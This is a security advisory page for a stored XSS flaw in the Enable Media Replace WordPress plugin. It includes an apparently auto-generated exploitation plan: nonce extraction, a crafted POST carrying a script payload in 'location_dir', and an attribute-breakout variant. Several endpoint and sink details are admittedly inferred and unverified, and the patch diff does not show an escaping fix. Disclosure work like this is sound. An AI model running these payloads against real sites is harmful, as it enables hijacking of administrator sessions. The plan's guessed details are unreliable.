CVE-2026-5714

Enable Media Replace <= 4.1.8 - Authenticated (Author+) Stored Cross-Site Scripting via 'location_dir' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.1.9
Patched in
1d
Time to patch

Description

The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘location_dir’ parameter in all versions up to, and including, 4.1.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.1.8
PublishedJune 8, 2026
Last updatedJune 9, 2026
Affected pluginenable-media-replace

What Changed in the Fix

Changes introduced in v4.1.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

The provided source files primarily cover the **ShortPixel** library used by the "Enable Media Replace" plugin for logging and filesystem abstraction. Based on the vulnerability description (CVE-2026-5714) and the provided code, here is the structured exploitation research plan. --- ### 1. Vulnera…

Show full research plan

The provided source files primarily cover the ShortPixel library used by the "Enable Media Replace" plugin for logging and filesystem abstraction. Based on the vulnerability description (CVE-2026-5714) and the provided code, here is the structured exploitation research plan.


1. Vulnerability Summary

CVE-2026-5714 is a Stored Cross-Site Scripting (XSS) vulnerability. It occurs during the "Replace with a new file and use a new file name" workflow. The plugin accepts a user-defined directory path via the location_dir parameter. This parameter is processed by the ShortPixel\FileSystem\Model\File\DirectoryModel class for filesystem operations but is subsequently stored and rendered in the WordPress admin interface without sufficient output escaping (e.g., missing esc_attr or esc_html).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-post.php (standard handler for EMR uploads).
  • Action: emr_upload (inferred action name).
  • Vulnerable Parameter: location_dir.
  • Authentication: Authenticated Author+ (requires upload_files capability).
  • Preconditions: The attacker must target an existing attachment ID. The replacement mode must be set to "Replace the file, use a new file name and update all relevant links" (often represented as replace_type=replace_new).

3. Code Flow

  1. Input: The Author submits a replacement request. $_POST['location_dir'] contains the XSS payload.
  2. Processing: The plugin initializes a DirectoryModel (see DirectoryModel.php:33) using the provided path.
  3. Sanitization Failure: While DirectoryModel performs path normalization (e.g., trailingslashit, realpath), it does not strip HTML tags or escape characters meant for web display, as its primary purpose is filesystem interaction.
  4. Storage: The value of $this->path (from DirectoryModel) is stored as metadata for the attachment (e.g., _emr_new_path) or in the plugin's internal logs.
  5. Sink: When an administrator views the "Edit Media" page or the "Enable Media Replace" status dashboard, the stored path is echoed directly into the HTML:
    echo "Current Path: " . $stored_location_dir; // VULNERABLE

4. Nonce Acquisition Strategy

The replacement form is protected by a WordPress nonce. The agent must extract this from the specific replacement UI page.

  1. Setup: Use WP-CLI to find an existing attachment ID: wp post list --post_type=attachment --format=ids.
  2. Navigate: Use browser_navigate to:
    {{base_url}}/wp-admin/upload.php?page=enable-media-replace&attachment_id={{ATTACHMENT_ID}}
  3. Extract: The nonce is typically located in a hidden input field or localized JS.
    • JS Variable: browser_eval("window.emr_options?.nonce") (inferred key).
    • Form Field: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value").

5. Exploitation Strategy

The agent will perform a multi-part POST request to simulate the file replacement.

  • HTTP Request (via http_request):
    • Method: POST
    • URL: {{base_url}}/wp-admin/admin-post.php
    • Headers: Content-Type: multipart/form-data (required for file uploads).
    • Body Parameters:
      • action: emr_upload
      • _wpnonce: {{extracted_nonce}}
      • attachment_id: {{ATTACHMENT_ID}}
      • replace_type: replace_new
      • location_dir: </pre><script>alert(document.domain)</script>
      • user_allowed_ext: jpg,jpeg,png
      • file: (A valid small image file)

6. Test Data Setup

  1. Create Author: wp user create researcher author@example.com --role=author --user_pass=password123.
  2. Upload Media: wp media import https://example.com/image.jpg --user=researcher.
  3. Note ID: Capture the ID of the imported media for the attachment_id parameter.

7. Expected Results

  • The admin-post.php handler should return a 302 Redirect.
  • Upon navigating to the Media Library or the specific Attachment Edit page (/wp-admin/post.php?post={{ID}}&action=edit), the browser should execute the injected script, showing an alert box.

8. Verification Steps

  1. Verify Storage: Check the database for the raw payload in post meta:
    wp post meta get {{ID}} _emr_new_path
  2. Verify Rendering: Use browser_navigate to the Attachment Edit page and check for the script:
    browser_eval("document.body.innerHTML.includes('<script>alert')")

9. Alternative Approaches

  • Attribute Breakout: If the location_dir is rendered inside an input field's value attribute, use:
    " onmouseover="alert(1)
  • Log Injection: If the payload is rendered in the ShortPixel log view (leveraging ShortPixelLogger.php), navigate to the log viewer (if active) to trigger the XSS:
    {{base_url}}/wp-content/uploads/EnableMediaReplace.log (See ShortPixelLogger.php:168 for default log naming logic).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Enable Media Replace plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to the lack of sanitization and escaping on the 'location_dir' parameter during the media replacement process. Authenticated attackers with Author-level permissions or higher can inject malicious scripts into this parameter, which are stored in the database and executed in the context of an administrator's session when they view the media library or the plugin's dashboard.

Vulnerable Code

// build/shortpixel/filesystem/src/Model/File/DirectoryModel.php

  public function __construct($path)
  {
   //   $path = wp_normalize_path($path);
      $fs = $this->getFS();

      if ($fs->pathIsUrl($path))
      {
        $pathinfo = pathinfo($path);
        if (isset($pathinfo['extension'])) // check if this is a file, remove the file information.
        {
          $path = $pathinfo['dirname'];
        }

        $this->is_virtual = true;
        $this->is_readable = true; // assume
        $this->exists = true;
      }

      if (! $this->is_virtual() && ! is_dir($path) ) // path is wrong, *or* simply doesn't exist.
      {
        /* Test for file input. */
        $pathinfo = pathinfo($path);

        if (isset($pathinfo['extension']))
        {
          $path = $pathinfo['dirname'];
        }
        elseif (is_file($path))
          $path = dirname($path);
      }

      if (! $this->is_virtual() && ! is_dir($path))
      {
        $testpath = realpath($path);
        if ($testpath)
          $path = $testpath;
      }

      // The path is normalized and trailingslashed, but not sanitized for HTML/Script tags.
      $this->path = trailingslashit($path);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/enable-media-replace/4.1.8/build/shortpixel/filesystem/src/Model/File/DirectoryModel.php /home/deploy/wp-safety.org/data/plugin-versions/enable-media-replace/4.1.9/build/shortpixel/filesystem/src/Model/File/DirectoryModel.php
--- /home/deploy/wp-safety.org/data/plugin-versions/enable-media-replace/4.1.8/build/shortpixel/filesystem/src/Model/File/DirectoryModel.php	2022-11-23 09:41:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/enable-media-replace/4.1.9/build/shortpixel/filesystem/src/Model/File/DirectoryModel.php	2026-04-22 16:33:10.000000000 +0000
@@ -20,6 +20,7 @@
   protected $is_writable = null;
   protected $is_readable = null;
   protected $is_virtual = null;
+  protected $is_restricted = false;
 
   protected $fields = array();
 
@@ -48,7 +49,21 @@
         $this->exists = true;
       }
 
-      if (! $this->is_virtual() && ! is_dir($path) ) // path is wrong, *or* simply doesn't exist.
+      if( false == $this->is_virtual() && true === $this->fileIsRestricted($path) )
+      {
+         $this->exists = false;
+         $this->is_readable = false;
+         $this->is_writable = false;
+         $this->is_restricted = true;
+      }
+      else {
+        $this->is_virtual = false;
+      }
+
+      if (false === $this->is_virtual() &&
+          false === $this->is_restricted &&
+          false === is_dir($path)
+          ) // path is wrong, *or* simply doesn't exist.
       {
         /* Test for file input.
         * If pathinfo is fed a fullpath, it rips of last entry without setting extension, don't further trust.
@@ -64,7 +79,10 @@
           $path = dirname($path);
       }
 
-      if (! $this->is_virtual() && ! is_dir($path))
+      if (false === $this->is_virtual() &&
+          false === $this->is_restricted &&
+          false === is_dir($path)
+          ) // path is wrong, *or* simply doesn't exist.
       {
         /* Check if realpath improves things. We support non-existing paths, which realpath fails on, so only apply on result.
         Moved realpath to check after main pathinfo is set. Reason is that symlinked directories which don't include the WordPress upload dir will start to fail in file_model on processpath ( doesn't see it as a wp path, starts to try relative path). Not sure if realpath should be used anyhow in this model /BS
@@ -224,6 +242,37 @@
 
   }
 
+  /** Check if path is allowed within openbasedir restrictions. This is an attempt to limit notices in file funtions if so.  Most likely the path will be relative in that case.
+  * @param String Path as String
+  */
+  private function fileIsRestricted($path)
+  {
+
+     $basedir = ini_get('open_basedir');
+
+     if (false === $basedir || strlen($basedir) == 0)
+     {
+         return false;
+     }
+
+     $restricted = true;
+     $basedirs = preg_split('/:|;/i', $basedir);
+
+     foreach($basedirs as $basepath)
+     {
+          if (strpos($path, $basepath) !== false)
+          {
+             $restricted = false;
+             break;
+          }
+     }
+
+     // Allow this to be overridden due to specific server configs ( ie symlinks ) might get this flagged falsely.
+     $restricted = apply_filters('emr/file/basedir_check', $restricted);
+
+     return $restricted;
+  }
+
 
   /* Last Resort function to just reduce path to various known WorPress paths. */
   private function constructUsualDirectories($path)
@@ -484,6 +533,10 @@
       $path = $this->getPath();
       $parentPath = dirname($path);
 
+      if ($path === $parentPath)
+      {
+         return false;
+      }
       $parentDir = new DirectoryModel($parentPath);
 
       return $parentDir;

Exploit Outline

The exploit is achieved by an authenticated user with Author-level permissions (specifically the 'upload_files' capability). The attacker identifies an existing media attachment and navigates to the 'Enable Media Replace' interface to obtain a valid nonce. They then submit a multipart POST request to the '/wp-admin/admin-post.php' endpoint with the action set to 'emr_upload'. The payload, containing a malicious script (e.g., `<script>alert(1)</script>`), is provided via the 'location_dir' parameter, with the 'replace_type' set to 'replace_new'. The plugin processes this path using its internal filesystem models without removing script tags and stores it in the database. The XSS triggers when an administrator views the attachment's edit page or the plugin's status logs, where the 'location_dir' is rendered without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.